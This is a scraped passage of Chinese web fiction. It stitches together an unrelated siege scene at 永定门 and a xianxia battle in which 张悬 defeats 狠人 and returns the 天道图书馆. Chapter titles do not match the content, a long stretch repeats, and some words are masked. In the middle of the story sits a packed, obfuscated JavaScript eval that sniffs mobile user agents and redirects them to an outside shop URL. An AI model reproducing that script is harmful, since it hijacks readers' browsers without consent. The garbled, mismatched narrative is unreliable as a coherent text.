然而,失去了主将,失去了影麟卫的暗助,目睹了都尉被斩、铁索崩断、副统领毙命的守军,早已肝胆俱裂,斗志全无!哪里还有人敢上前? “轰隆——!!” 一声远比之前更加沉闷、更加巨大的轰鸣! 永定门那两扇沉重的包铁城门,在风雪十八骑悍不畏死的猛烈撞击下,终于轰然洞开! 门轴发出刺耳的呻吟,城门大开!露出了门后通往北方的、风雪弥漫的官道! 几乎就在城门洞开的同一时刻! 永定门侧翼,连接京杭大运河的隐秘水闸处! “轰!咔嚓!” 厚重的木质闸门,被数条从水下骤然弹出的、带着巨大铁钩的锁链狠狠钩住!紧接着,几条鬼市特制的、船头包着沉重铁角的乌篷快船,如同水下巨兽,开足马力,狠狠地撞在闸门之上! 木屑纷飞!闸门应声碎裂出一个巨大的豁口! “冲过去!”霍三娘站在为首的快船船头,一身黑色水靠,手中长刀还在滴着守闸士兵的鲜血,厉声高喝! 数十条满载着麻袋的快船,如同挣脱牢笼的鱼群,顺着豁口,鱼贯而入!船队劈开浑浊的河水,沿着运河主航道,朝着北方,朝着北疆的方向,全速驶去!十万石救命的粮草,终于趁着永定门大乱的宝贵时机,成功暗渡! 城门处。 风雪从洞开的门洞中倒灌而入,卷起地上的雪沫。 谢凤卿一骑当先,策马缓缓踏过洞开的城门门槛。踏雪乌骓的马蹄踏在城外的土地上,发出沉闷的声响。 她勒住马缰,在城门洞的阴影下,缓缓回首。 目光越过洞开的城门,越过护城河上断裂的铁索和尚未清理的血迹,越过那些躲在城楼上、面无人色的守军,最终投向风雪深处,那座庞大而压抑的皇城轮廓。 风雪似乎在这一刻小了些许。 萧御已重新骑上他的白马,跟了上来,停在她身侧。风雪十八骑如同沉默的黑色磐石,拱卫在两人身后。 第25章北疆八百里加急 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545998|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第26章雪……雪崩了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 